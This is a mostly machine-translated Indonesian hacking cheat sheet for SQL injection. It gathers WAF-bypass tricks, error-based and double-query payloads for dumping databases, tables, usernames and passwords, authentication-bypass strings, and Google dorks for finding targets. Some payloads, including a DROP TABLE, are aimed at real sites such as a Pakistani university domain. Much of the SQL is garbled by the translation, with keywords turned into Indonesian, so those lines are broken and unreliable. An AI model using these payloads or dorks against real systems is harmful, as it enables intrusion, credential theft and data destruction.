- http://www.aiou.edu.pk/Programmes.asp?PID=74%20and%200%3D1%20UNION%20SELECT%2b1%2Coutput%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%2C13%2C14%2C15%2C16%20from%20diosku--
- ¤3¤
- ==========================
- http://www.aiou.edu.pk/Programmes.asp?PID=74;DROP TABLE diosku--
- ==========================
- ©securityidiots
- -rkx
- The Error Connection Was Reset
- Query :
- id=.1union-- a%0Aselect
- id=1-.1union- a%0Aselect
- id=1'e0union- a%0Aselect
- id=\Nunion- a%0Aselect
- id=1 *9e0union-- -%0aselect
- Please Like and Share our Page :*
- -h
- Hari ini saya akan menunjukkan kepada Anda cara mem-bypass Web Application Firewalls (WAF). Saya akan mendemonstrasikan dari Teknik-Teknik Dasar dan Paling Sederhana ke yang Paling Mahir!
- CATATAN: Jika Anda tidak tahu SQL Injection, baca ini dulu ...
- Apa itu WAF?
- WAF adalah singkatan dari Firewall Aplikasi Web. Hal ini banyak digunakan saat ini untuk mendeteksi dan mempertahankan Suntikan SQL!
- Mari kita mulai!
- Bagaimana cara mengetahui apakah Firewall Aplikasi Web?
- Ini sangat sederhana! Ketika Anda mencoba memasukkan perintah yang digunakan untuk SQL Injections (biasanya perintah "UNION SELECT"), Anda mendapatkan 403 Error (dan situs web mengatakan "Forbidden" atau "Tidak Dapat Diterima").
- Contoh:
- http://www.site.com/index.php?page_id=-15 UNION SELECT 1,2,3,4….
- (Kami mendapatkan kesalahan 403!)
- Metode Dasar / Sederhana:
- Pertama, tentu saja, kita perlu mengetahui Metode Dasar untuk mem-bypass WAF…
- 1) Komentar:
- Anda dapat menggunakan komentar untuk mem-bypass WAF:
- http://www.site.com/index.php?page_id=-15 / *! UNION * / / *! SELECT * / 1,2,3,4….
- (Metode Pertama yang Dapat Menembus WAF)
- Namun, sebagian besar WAF mengidentifikasi metode ini sehingga mereka masih menunjukkan "Forbidden" Error…
- 2) Ubah Kasus Huruf:
- Anda juga dapat mengubah Kasus Perintah:
- http://www.site.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4….
- (Metode Dasar Lain untuk Menghindari WAF!)
- Namun, seperti sebelumnya, trik ini juga terdeteksi oleh kebanyakan WAF!
- 3) Gabungkan Metode sebelumnya:
- Yang dapat Anda lakukan adalah menggabungkan dua metode sebelumnya:
- http://www.site.com/index.php?page_id=-15 / *! uNIOn * / / *! SelECt * / 1,2,3,4….
- Metode ini tidak dapat dideteksi oleh banyak Firewall Aplikasi Web!
- 4) Kata Kunci yang Diganti:
- Beberapa Firewall menghapus Pernyataan "UNION SELECT" ketika ditemukan di URL ... Kita dapat melakukan ini untuk mengeksploitasi fungsi ini:
- http://www.site.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4….
- (The "union" dan "select" akan dihapus, jadi hasil akhirnya adalah: "UNION SELECT")
- Metode ini tidak berfungsi di SEMUA Firewall, karena hanya sebagian dari mereka yang menghapus perintah "UNION" dan "SELECT" saat terdeteksi!
- 5) Komentar Sejajar:
- Beberapa firewall dilewati dengan Memasukkan Inline Komentar antara "Union" dan "Pilih" Perintah:
- http://www.site.com/index.php?page_id=-15% 55nION / ** /% 53ElecT 1,2,3,4…
- (The% 55 sama dengan "U" dan% 53 sampai "S". Lihat lebih lanjut di Bagian Lanjutan ....)
- Saya percaya bahwa ini adalah metode paling dasar untuk WAF Bypassing! Mari kita lanjutkan dengan yang lebih maju ...
- Metode Lanjutan:
- Sekarang Anda telah belajar tentang Basic WAF Bypassing, saya pikir itu baik untuk memahami Metode yang lebih maju!
- 1) Buffer Overflow / Firewall Crash:
- Banyak Firewall dikembangkan dalam C / C ++ dan kita dapat Crash mereka menggunakan Buffer Overflow!
- http://www.site.com/index.php?page_id=-15+and+(select 1) = (Pilih 0xAA [.. (tambahkan sekitar 1000 "A") ..]) + / *! uNIOn * / + / *! SeLECt * / + 1,2,3,4….
- ((Anda dapat menguji apakah WAF dapat dihancurkan dengan mengetik:
- ? page_id = null% 0A / ** // *! 50000% 55nIOn * // * yoyu * / all / ** /% 0A / *!% 53eLEct * /% 0A / * nnaa * / + 1,2,3 , 4….
- Jika Anda mendapatkan 500, Anda dapat memanfaatkannya menggunakan Metode Buffer Overflow! ))
- 2) Ganti Karakter dengan Nilai HEX mereka:
- Kita dapat mengganti beberapa karakter dengan Nilai HEX (URL-Encoded) mereka.
- Contoh:
- http://www.site.com/index.php?page_id=-15 / *! u% 6eion * / / *! se% 6cect * / 1,2,3,4….
- (yang berarti "memilih serikat")
- Teks ke Hex Encoder (Pilih hasil “Hex Encoded for URL”!): Http://www.swingnote.com/tools/texttohex.php
- 3) Gunakan Variabel atau Perintah lain, bukan yang umum untuk SQLi:
- Terlepas dari "UNION SELECT", perintah lain mungkin diblokir.
- Perintah Umum Diblokir:
- COMMAND | APA YANG HARUS DIGUNAKAN BUKAN
- @@ versi | versi()
- concat () | concat_ws () -> Perbedaan antara concat () dan concat_ws (): http://is.gd/VEeiDU
- group_concat () | concat_ws ()
- Belajar MySQL Sangat membantu dalam masalah seperti itu!
- 4) Misc Exploitable Functions:
- Banyak firewall mencoba menawarkan lebih banyak Perlindungan dengan menambahkan Fungsi Prototipe atau Aneh! (Yang, tentu saja, bisa kita manfaatkan!):
- Contoh:
- Firewall ini di bawah menggantikan "*" (tanda bintang) dengan Whitespaces! Apa yang bisa kita lakukan adalah ini:
- http://www.site.com/index.php?page_id=-15+uni*on+sel*ect+1,2,3,4…
- (Jika Firewall menghapus "*", hasilnya akan menjadi: 15 + union + pilih ....)
- Jadi, jika Anda menemukan fungsi konyol seperti itu, Anda dapat memanfaatkannya, dengan cara ini!
- [+] Selain contoh sebelumnya, beberapa jalan pintas lain mungkin:
- -15+ (uNioN) + (sElECt)….
- -15+ (uNioN + SeleCT) + ...
- -15+ (UnI) (oN) + (SeL) (ecT) +….
- -15 + union (pilih 1,2,3,4…)
- -h
- Error Based IS Double Query
- Error Based = Double Query (Error based 2x)
- Bagaimana Anda tahu Anda harus menggunakan Error
- Berdasarkan / Double Query? (Penting!)
- Ini adalah bagian terpenting dari peretasan web; itu
- jenis injeksi untuk digunakan dalam situasi yang berbeda.
- Anda dapat menggunakan Injeksi Informasi Berbasis Kesalahan / Ganda
- dalam kesalahan berikut yang Anda dapatkan
- Kode:
- Sebuah. Pernyataan Pilih Terpilih
- Memiliki Jumlah Kolom yang Berbeda.
- b. Kolom Tidak Diketahui 1 atau tidak ada kolom di
- semua (di halaman web dan sumber halaman)
- c.Error # 1604
- Sekarang perhatikan kesalahan-kesalahan itu. Anda akan membutuhkannya.
- versi:
- Pendekatan pertama adalah mengetahui versi dari
- database
- Untuk melakukan itu kami memasukkan permintaan ini setelah akhir
- URL
- www.ddaarchitects.co.uk/click.php?bannerID=%27and(select+min(0)+from+(select+1+a+union+se%C2%ADlect+2)b,(select+1+union + pilih + 2) c + grup + oleh + concat ((pilih + mid (concat (table_nam% C2% ADe, 0x3a, group_concat (column_name)), 1,110) dari + information_schema.columns + di mana + ta% C2% ADble_schema = database () + dan + table_name% 3E '% C2% ADappuser'), masukkan (0x0, a, a, now ()))) - +
- Kode:
- www.exmple.com/show?id=4 atau 1 grup oleh concat_ws (0x3a, versi (), floor (rand (0) * 2)) memiliki min (0) atau 1--
- DATABASE GETTING
- Langkah kedua: Mendapatkan nama database
- Untuk mendapatkan basis data, kami memasukkan kueri ini
- Kode:
- dan (pilih 1 dari (pilih hitungan
- (*), concat ((pilih)
- (cast (database () sebagai char), 0x7e))
- dari information_schema.tables di mana
- table_schema = database () limit
- 0,1), lantai (rand (0) * 2)) x dari
- grup information_schema.tables oleh
- x) a)
- Perhatikan fungsi batas dalam kueri
- Sebuah situs web dapat memiliki lebih dari 2 dua basis data, jadi
- tingkatkan batas hingga Anda menemukan semua nama basis data
- Contoh: membatasi 0,1 atau membatasi 1,1 atau membatasi 2,1
- Langkah Ketiga: Mendapatkan NAMA TABEL
- Nama tabel adalah apa yang kita butuhkan sekarang
- Berikut kueri yang dapat kami gunakan:
- Kode:
- dan (pilih 1 dari (pilih hitungan
- (*), concat ((pilih)
- (cor (table_name sebagai char), 0x7e))
- dari information_schema.tables di mana
- table_schema = database () limit
- 0,1), lantai (rand (0) * 2)) x dari
- grup information_schema.tables oleh
- x) a)
- Jangan juga melupakan fungsi LIMIT yang kami gunakan di sini
- untuk mendapatkan nama tabel satu per satu
- CATATAN:
- Sekarang inilah bagian pentingnya:
- Ketika Anda mencari tabel terus bertambah
- batasi sampai Anda menemukan nama tabel yang berharga
- Misalnya: LIMIT 0,1
- LIMIT 1,1
- BATAS 2,1
- Terus tingkatkan jumlahnya sampai Anda menemukan meja
- Anda ingin mengekstrak informasi dari
- Berikut rumusnya: LIMIT N, 1 di mana N adalah a
- bilangan bulat acak
- Langkah Keempat: Mendapatkan Kolom dari spesifik
- NAMA TABEL
- Baiklah, sekarang Anda telah memilih meja Anda
- ingin mengekstrak kolom dari, waktu untuk mengeksekusi
- pertanyaan lain
- Jadi inilah cara ekstraksi kueri kolom akan terlihat
- seperti:
- Kode:
- dan (pilih 1 dari (pilih hitungan
- (*), concat ((pilih)
- (cast (column_name sebagai char), 0x7e))
- dari information_schema.columns
- di mana table_name = batas 0xTABLEHEX
- 0,1), lantai (rand (0) * 2)) x dari
- grup information_schema.tables oleh
- x) a)
- Perhatikan LIMIT 0,1 FUNCTION dan 0xTABLEHEX
- Anda perlu mengonversi tabel spesifik Anda menjadi hex
- dan tambahkan 0x di awal string sehingga
- dapat dibaca ke situs web
- Untuk mengonversi string menjadi heksadesimal: http: //
- www.swingnote.com/tools/texttohex.php
- CATATAN:
- Anda perlu menaikkan batas sampai Anda menemukan
- kolom berharga seperti userName dan
- kata sandi.
- Langkah Kelima: Mengekstrak data dari Kolom
- Baiklah bagian ini mungkin yang terbaik di SQL
- menyuntikkan situs.
- Saatnya untuk mendapatkan info dari kolom yang kita miliki
- Untuk melakukan itu, gunakan query ini
- Kode:
- dan (pilih 1 dari (pilih hitungan
- (*), concat ((pilih)
- (dilemparkan (concat
- (COLUMN_NAME, 0x7e, COLUMN_NAME) sebagai
- char), 0x7e)) dari
- Batas Databasename.TABLENAME
- 0,1), lantai (rand (0) * 2)) x dari
- grup information_schema.tables oleh
- x) a)
- Atau Anda dapat melakukan (@: = 1) atau @ grup + oleh + concat (versi
- (), @: =! @) + memiliki + mnt (0)
- © LUNATIC
- ~ h
- Comment Name
- -- : MySQL Linux Style
- --+ : MySQL Windows Style
- # : Hash (URL encode while use)
- --+- : SQL Comment
- ;%00 : Null Byte
- ` : Backtick
- Variable/Function Output
- @@hostname : Current Hostname
- @@tmpdir : Tept Directory
- @@datadir : Data Directory
- @@version : Version of DB
- @@basedir : Base Directory
- user() : Current User
- database() : Current Database
- version() : Version
- schema() : current Database
- UUID() : System UUID key
- current_user() : Current User
- current_user : Current User
- system_user() : Current Sustem user
- session_user() : Session user
- @@GLOBAL.have_symlink : Check if Symlink Enabled or Disabled
- @@GLOBAL.have_ssl : Check if it have ssl or not
- integer based ::
- --
- -- -
- --+-
- )--
- )-- -
- )--+-
- ))--
- ))-- -
- ))--+-
- ;%00
- ) ;%00
- ));%00
- %23
- %60
- %90
- and 1=1
- and '1'='1
- and (1)=(1
- php?id=(1) -- -
- string based ::
- '--+-
- ')-- -
- ')--+-
- '))-- -
- '))--+-
- ';%00
- ');%00
- '));%00
- '%23
- '%60
- '%90
- ' and 1=1
- ' and '1'='1
- ' and (1)=(1
- php?id=(1') -- -
- string based double quotes ::
- "-- -
- "--+-
- "%23
- ")-- -
- ")--+-
- "))--+-
- ";%00
- ") ;%00
- "));%00
- "%60
- "%90
- " and 1=1
- " and '1'='1
- " and (1)=(1
- php?id=(1") -- -
- ©
- ~h
- ADMIN LOGIN BRUTE FORCE
- 'or 1=1 limit 1 -- -+
- 'or''='
- ' or '1'='1
- ' or 'x'='x
- ' or 0=0 --
- " or 0=0 --
- or 0=0 --
- ' or 0=0 #
- " or 0=0 #
- or 0=0 #
- ' or 'x'='x
- " or "x"="x
- ') or ('x'='x
- ' or 1=1--
- " or 1=1--
- or 1=1--
- ' or a=a--
- " or "a"="a
- ') or ('a'='a
- ") or ("a"="a
- hi" or "a"="a
- hi" or 1=1 --
- hi' or 1=1 --
- 'or'1=1'
- ==
- and 1=1--
- and 1=1
- ' or 'one'='one--
- ' or 'one'='one
- ' and 'one'='one
- ' and 'one'='one--
- 1') and '1'='1--
- admin' --
- admin' #
- admin'/*
- or 1=1--
- or 1=1#
- or 1=1/*
- ) or '1'='1--
- ) or ('1'='1--
- ' or '1'='1
- ' or 'x'='x
- ' or 0=0 --
- " or 0=0 --
- or 0=0 --
- ' or 0=0 #
- " or 0=0 #
- or 0=0 #
- ' or 'x'='x
- " or "x"="x
- ') or ('x'='x
- ' or 1=1--
- " or 1=1--
- or 1=1--
- ' or a=a--
- " or "a"="a
- ') or ('a'='a
- ") or ("a"="a
- hi" or "a"="a
- hi" or 1=1 --
- hi' or 1=1 --
- 'or'1=1'
- ~h
- [~] information_schema.tables [~]
- /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=schEMA()-- -
- /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like schEMA()-- -
- /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/=database()-- -
- /*!froM*/ /*!InfORmaTion_scHema*/.tAblES /*!WhERe*/ /*!TaBle_ScHEmA*/ like database()-- -
- /*!FrOm*/+%69nformation_schema./**/columns+/*!50000Where*/+/*!%54able_name*/=hex table
- /*!FrOm*/+information_schema./**/columns+/*!12345Where*/+/*!%54able_name*/ like hex table
- ~h
- Injeksi Berbasis Kesalahan
- ---------------------
- Injeksi berbasis kesalahan dikerahkan pada database yang didukung oleh MS-SQL.
- Database: MY-SQL: PHP
- MS-SQL: .asp atau .aspx
- Probelm dengan Injeksi Berbasis Kesalahan untuk Peretas
- -----------------------------------------------
- 1. Versi () dan database () tidak berfungsi !!
- Solusi: @@ version
- 2. Anda tidak dapat memanggil semua tabel dari database yang diberikan melalui information_schema.
- 3. Anda tidak dapat mengekstrak kolom dari tabel target Anda dalam satu perjalanan.
- Mengapa dikenal sebagai Injeksi Berbasis Kesalahan
- -----------------------------------------
- Itu berarti Anda akan mendapatkan data dalam kesalahan.
- Target: vulnweb.com: Ini adalah kerangka kerja praktik dari sebuah perusahaan bernama Acunetix.
- Ia memiliki semua praktek serangan teknologi MY-SQL dan MS-SQL.
- Langkah 1: Dapatkan metode GET apa pun di URL situs web. I.e Kita harus mencari SOmethoing = Sesuatu.
- http://testasp.vulnweb.com/showforum.asp?id=0
- Langkah 2: Periksa penanganan pengecualian.
- http://testasp.vulnweb.com/showforum.asp?id=0 '
- Langkah 3: Periksa kondisi yang diperlukan untuk serangan lebih lanjut.
- http://testasp.vulnweb.com/showforum.asp?id=0 dan 1 = 0;
- NOte: Error Based Injection bekerja pada aturan LIFO. Terakhir di First out.
- Sebagai contoh: Jika kita memiliki database dengan tabel seperti berikut
- utas -> 1
- guru-> 2
- kelas-> 3
- biaya-> 4
- pengguna-> 5
- Langkah 4: http://testasp.vulnweb.com/showforum.asp?id=0 dan
- 1 = convert (int, (pilih top 1 table_name dari information_schema.tables));
- Punya Tabel: 'utas' X
- http://testasp.vulnweb.com/showforum.asp?id=0 dan
- 1 = convert (int, (pilih top 1 table_name dari information_schema.tables di mana table_name tidak di ('thread')));
- Target: 'pengguna'
- Langkah 5: Dapatkan kolom masing-masing tabel pengguna
- http://testasp.vulnweb.com/showforum.asp?id=0 dan
- 1 = convert (int, (pilih top 1 column_name dari information_schema.columns di mana table_name = 'users' dan column_name tidak dalam ('uname')));
- Kolom Target: uname, upass
- Langkah 6: Dapatkan yang tidak benar dan upass
- http://testasp.vulnweb.com/showforum.asp?id=0 dan
- 1 = mengkonversi (int, (pilih top 1 upass dari pengguna));
- uname: admin
- upass: tidak ada
- Pengantar Firewall Aplikasi Web dan IDS dan IPS
- www.iamrahultyagi.in officialrahultyagi.in
- -------------------------------------------------- ----------------
- Firewall Aplikasi Web: Ketika pemilik situs web menyebarkan perangkat lunak aplikasi yang berisi semua jenis database serangan di dalamnya dan menyaring permintaan yang digunakan oleh vistor, maka kita dapat mengatakan bahwa aplikasi yang digunakan di situs web adalah firewall aplikasi web.
- Jenis WAF
- ---------------------
- 1. Perangkat Lunak WAF: Ini adalah teknologi firewall yang seperti aplikasi perangkat lunak yang dapat diinstal pada server web dan karenanya dapat digunakan untuk mengisi konten yang diminta.
- Linux: Keamanan Mod: Gratis | Dibayar: .php
- Windows: Dot Defender: Dibayar:. asp aspx
- 2. Hardware WAF: Ini adalah sistem UTM (Unified Threat Management Systems) yaitu berisi Antivirus + Firewall + IDS dan IPS + Web Filteration untuk Konten dll dll.
- Keamanan Mod: Mod Security datang untuk menggambarkan pada awal tahun 2008 ketika peretas berada di puncak dan merusak situs web di seluruh dunia. Ini adalah era ketika ada banyak firewall berbayar tetapi tidak ada solusi untuk organisasi tingkat menengah.
- Mod Security datang dan memberikan sedikit harapan kepada pemilik situs web bahwa mereka akan melindungi dari peretas.
- Masalah
- --------
- 1. Database serangan terbatas.
- 2. Sumber terbuka tetapi kekurangan dana.
- OWASP TOP 10 Serangan yang mereka lakukan terbuka. Panggilan ke Peretas.
- Cara Memasang Keamanan Mod di Ubuntu
- --------------------------------------
- $ sudo apt-get install libapache2-mod-security
- $ sudo a2enmod mod-security
- $ sudo /etc/init.d/apache2 paksa-ulang
- Memahami kerja WAF
- --------------------------------
- Setiap WAF bekerja pada dua format utama pertama Daftar Putih dan filterisasi Daftar Hitam.
- 1. Daftar Putih: Saat kami menyatakan pemilik hanya harus masuk dari suatu IP statis tertentu serta alamat MAC dan nama pengguna dan kata sandi. Oleh karena itu bahkan kata sandi bocor tidak ada yang dapat login situs web kecuali ia tidak berada di IP dan alamat MAC yang sama.
- 2. Black List: Ini adalah cara kedua untuk mengamankan situs web maka ia akan memiliki database dari semua serangan non-sense khususnya string based (order by), (union all select) dll. Dll. Apapun permintaan yang membawa jenis ini string dari VISITOR akan disaring oleh daftar hitam dan sebagai respons akan memblokir jika cocok dengan string apa pun dari daftar.
- Cara Mengonfigurasi Keamanan Mod Anda di Ubuntu Setelah Instalasi
- -------------------------------------------------- --------------
- sudo gedit /etc/apache2/sites-available/000-default.conf
- Setelah membuka file ini yaitu 000-default.conf kita harus mengubah alamat IP dari server atau nama situs web yang lalu lintasnya yang ingin kita saring dari keamanan mod.
- Memintas Validasi WAF dan Filterasi
- ------------------------------------------
- 1. Metode Upper Lower Case
- union all pilih: UnIoN aLl SeLeCt
- http://172.16.191.137/dvwa/vulnerabilities/sqli/?id=1 'UnIoN SeLeCt 1,2 - + & Kirim = Kirim #
- Komentar sebaris: / * * /
- 2. Inline Executable Comments
- / *! UnIoN * / + / *! ALl * / + / *! SeLeCt * /
- Langkah 1: Dapatkan tabel dari database
- http://172.16.191.138/dvwa/vulnerabilities/sqli/?id=1 '/ *! UnIoN * / + / *! aLl * / + / *! SeLeCt * / 1,2 - + & Kirim = Kirim #
- Tabel Target adalah pengguna
- Langkah 2: dapatkan kolom
- http://172.16.191.138/dvwa/vulnerabilities/sqli/?id=1 '/ *! UnIoN * / + / *! aLl * / + / *! SeLeCt * / 1, column_name dari information_schema.columns di mana table_name =' pengguna '- + & Kirim = Kirim #
- Versi Berdasarkan Inline Komentar yang Dapat Dijalankan
- ----------------------------------------
- / *! 50000UnIoN * / + / *! 50000aLl * / + / *! 50000SeLeCt * /
- Langkah 3: http://172.16.191.138/dvwa/vulnerabilities/sqli/?id=1 '/ *! 50000UnIoN * / + / *! 50000aLl * / + / *! 50000SeLeCt * / 1, column_name dari information_schema.columns di mana table_name = 'users' - + & Submit = Kirim #
- NOte: Lakukan hal yang sama dengan semua kata query dan lanjutkan dengan serangan. Jika Anda butuh bantuan, kunjungi www.iamrahultyagi.in atau officialrahultyagi.blogspot.in
- MYSQL
- 5.00.00 -> 50000
- 4,00,00 -> 40000
- 3,00,00 -> 30000
- 2,00,00 -> 20000
- 1,00,00 -> 10.000
- ©
- -rkx
- Penggunaan Kueri Keamanan Tinggi
- 1'order oleh 1 #
- 1 'union pilih 1,2 #
- 1 'union pilih 1, database () #
- atau 1 = 1 union pilih null, table_name dari information_schema.tables
- atau 1 = 1 union pilih null, column_name dari information_schema.columns
- atau 1 = 1 union memilih pengguna, kata sandi dari pengguna
- Error Base Penggunaan query ganda
- Sebuah. Pernyataan Pilih Yang Digunakan Memiliki Jumlah Kolom yang Berbeda.
- b. Kolom Tidak Diketahui 1 atau tidak ada kolom sama sekali (di halaman web dan sumber halaman)
- c. Kesalahan # 1604
- Tampilkan Versi
- atau 1 grup dengan concat_ws (0x3a, versi (), floor (rand (0) * 2)) memiliki min (0) atau 1
- Tampilkan Database
- dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (database () sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor ( rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
- Tampilkan tabel
- dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (table_name sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor (rand ( 0) * 2)) x dari grup information_schema.tables dengan x) a)
- Tampilkan kolom
- dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (column_name sebagai char), 0x7e)) dari information_schema.columns di mana table_name = 0xTable limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
- Buang data dari kolom
- dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (concat (COLUMN_NAME, 0x7e, COLUMN_NAME) sebagai char), 0x7e)) dari Databasename.TABLENAME limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
- -------------------------------------------------- ----------
- -------------------------------------------------- ----------
- http: // localhost / sqli-labs-master / Less-5 /? id = 1'and (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (column_name sebagai char), 0x7e) ) dari information_schema.columns di mana table_name = 0x7573657273 dan table_schema = database () limit 2,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) - +
- Mendapatkan
- http: // localhost / sqli-labs-master / Less-5 /? id = 1'and (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (concat (nama pengguna, 0x7e, kata sandi ) sebagai char), 0x7e)) dari batas security.users 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
- - +
- -------------------------------------------------
- -------------------------------------------------- -
- Basis Kesalahan
- dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (cast (database () sebagai char), 0x7e)) dari information_schema.tables di mana table_schema = database () limit 0,1), floor ( rand (0) * 2)) x dari grup information_schema.tables dengan x) a)
- Error Base Double Query
- Tampilkan Versi
- dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih concat (0x7e, 0x27, cast (versi () sebagai char), 0x27,0x7e)) dari limit information_schema.tables 0,1), floor ( rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
- Tampilkan Database
- dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih (PILIH concat yang berbeda (0x7e, 0x27, cast (schema_name sebagai char), 0x27,0x7e) FROM information_schema.schemata LIMIT 0,1)) dari information_schema .tables limit 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
- Tampilkan Tabel dari basis data
- dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih (PILIH concat yang berbeda (0x7e, 0x27, cast (table_name sebagai char), 0x27,0x7e) FROM information_schema.tables Dimana table_schema = 0xDatabase_Name LIMIT 0,1 )) dari batas information_schema.tables 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
- Tampilkan Kolom dari tabel
- dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih (PILIH concat yang berbeda (0x7e, 0x27, cast (column_name sebagai char), 0x27,0x7e) FROM information_schema.columns Di mana table_schema = 0xDatabase_name DAN table_name = 0xTable_name LIMIT 0,1)) dari batas information_schema.tables 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
- Dump Data dari kolom
- dan (pilih 1 dari (pilih count (*), concat ((pilih (pilih (pilih concat (0x7e, 0x27, cast (table_name.column_name sebagai char), 0x27,0x7e) DARI `security`.table_name LIMIT 0,1) ) dari batas information_schema.tables 0,1), floor (rand (0) * 2)) x dari grup information_schema.tables dengan x) a) dan 1 = 1
- -------------------------------------------------- ------
- Dump in one Shot (Database, Tabel, Kolom)
- (pilih (@x) dari (pilih (@x: = 0x00), (pilih (0) dari (information_schema.columns) di mana (table_schema! = 0x696e666f726d6174696f6e5f736368656d61) dan (0x00) dalam (@x: = / *! 50000concat * / (@ x, 0x3c62723e, table_schema, 0x272d2d3e27, table_name, 0x272d2d3e27, column_name)))) x)
- (pilih (@) dari (pilih (@: = 0x00), (pilih (@) dari tbl_admin_info di mana (@) dalam (@: = / *! 50000concat * / (@, user_name, 0x3a, kata sandi)))) a )
- -------------------------------------------------- ----
- jika concat block gunakan ganti fungsi
- ganti (REPLACE (ganti (0x5b215d, 0x5b, versi ()), 0x21, database ()), 0x5d, usâ € ‹er ())
- Function ByPassing
- * unhex(hex(value))
- * cast(value as char)
- * uncompress(compress(version()))
- * cast(version() as char)
- * aes_decrypt(aes_encrypt(version(),1),1)
- * binary(version())
- * convert(value using ascii)
- Mengapa Kami menggunakan 50000,12345,00000 dalam / *! * /?
- Frnds Sekarang saya ingin berbagi sesuatu yang menarik 4u yang merupakan bagian dari SQLI. Hanya 4 pemula.
- Master bros sudah tahu ini yang harus saya bagikan di sini
- Topik: Mengapa kami menggunakan 50000,00000,12345 dalam / *! * /?
- Pendatang baru saya menggunakan semua / *! 12345 * / seperti dat 4 yang melewati WAF. Apakah Anda tahu logika di balik ini mengapa kita menggunakan 12345? Hari ini m memberitahu Anda arti sebenarnya dari ini Tapi pertama setelah membaca komentar ini yang Anda ketahui sebelum arti dari penggunaan dat 12345.00000,50000
- Jadi, sekarang dengarkan baik-baik
- Sebenarnya kita menggunakan 12345 bcuj ketika kita menulis ini menjalankan versi MySQL upto 5. Berarti jika versi mysql Anda adalah upto 5 maka Anda dapat menggunakan 00000,12345,50000 atau bahkan Anda dapat menggunakan 56000 tetapi jika versi mysql adalah 5,6 sesuatu. Jadi itu berarti nomor 12345 terkait dengan versi mysql
- 12345 berarti => 1.23.4500000 berarti => 0.00.0050000 berarti => 5.00.0056000 berarti => 5.60.00
- Baca saja semuanya karena jika Anda tidak melakukannya, Anda tidak akan mengerti ini
- kode dan bagaimana cara kerjanya!
- Dorks:
- inurl: "view.asp? page =" intext: "plymouth"
- Ok apa kode ini?
- Jadi ini adalah sekolah-sekolah universitas yang dapat diretas dengan sekolah-sekolah universitas dork ini.
- inurl: "shoutbox.php" intext: "skrip"
- dengan kode ini Anda dapat meretas shoutbox atau menemukan skrip
- inurl: "index.php? act =" rapidleech
- Kode ini akan menemukan situs rapidleecher dengan sangat cepat.
- inurl: "index.php? act = idx"
- Kode ini akan menemukan forum ipb dengan cepat untuk diretas
- inurl: "Photoshop.aspx" "tutorial"
- Kode ini akan menemukan tutorial photoshop
- inurl: ftp: // situs ftp: .com
- Kode ini akan menemukan server ftp apa saja dan membasmi situs yang dilindungi.
- allinurl: user_index.jsp
- Kode ini akan menemukan hosting gratis apa pun
- didukung oleh vbulletin game 3.8.4 inurl: member.php? u = 1
- Kode ini akan menemukan forum permainan vbulletin dan halaman admin.
- didukung oleh vbulletin 4.0.3 Informasi Debug
- Kode ini akan menampilkan semua kode dan informasi kode vbulletin forum
- dan bugnya Anda rooting ke dalamnya.
- didukung oleh vbulletin "warez"
- Kode ini akan menemukan forum warez apa pun.
- video ke mp3 konverter intext online: "mp3" -intis: "Kualitas Tinggi"
- Dengan kode ini Anda dapat mengunduh mp3 dari youtube dengan sangat cepat.
- intext: "Peringatan: mysql_fetch_array ()"
- Dengan kode ini Anda akan menemukan situs vulnarable dan meretasnya.
- inurl: radioandtv.php
- Kode ini akan menampilkan semua torrent stasiun radio tersembunyi.
- inurl: "postingan.php? mode = smilies" "phpbb"
- Dengan kode ini Anda akan dapat meretas forum phpbb dan memasukkan xss ke dalam forum.
- allinurl: alat / spider-view.php
- Dengan kode ini Anda dapat menemukan tautan situs dengan sangat cepat.
- embed src = ". mp3" type = audio / mpeg
- Kode injeksi Html untuk menemukan situs rahasia dengan kode html mp3 embed
- Anda akan melihatnya bahkan di google.
- "didukung oleh vbulletin" + "akun dump"
- Dengan kode ini Anda akan dapat menemukan kata sandi
- untuk situs apa pun, forum bukan untuk pornografi.
- allinurl: "buku tamu / smileys.php"
- inurl: "smileys.php" + "berbicara"
- allinurl: smiliehelp.php
- Berbicara smilies.
- "intitle: index of" admin / FCKeditor / _samples / html
- Dengan kode ini Anda akan dapat menemukan fck server html
- editor dan meretasnya.
- burung hantu kota kunang-kunang + "instrumental"
- Dengan kode ini Anda akan dapat mp3 instrumental dan mengubah ini
- burung hantu kota kunang-kunang
- HTTP / 1.1 :: Mozilla / 5.0 (Windows; U; Windows NT 5.1; en-US; rv: 1.9.2.3)
- access_log
- dengan kode ini Anda akan dapat meretas akses situs
- log dan lihat semua informasi.
- "google scanner sql" + "php"
- Google sql injection online meretas situs-situs rentan, forum
- dan menemukan situs-situs yang rentan sangat mudah.
- situs: youtube.com *@gmail.com
- Ini akan menemukan youtube atau email situs apa pun.
- allinurl: html_colors.html
- Ini akan menemukan kode grafik html sangat cepat.
- torrent pribadi + "buka daftar"
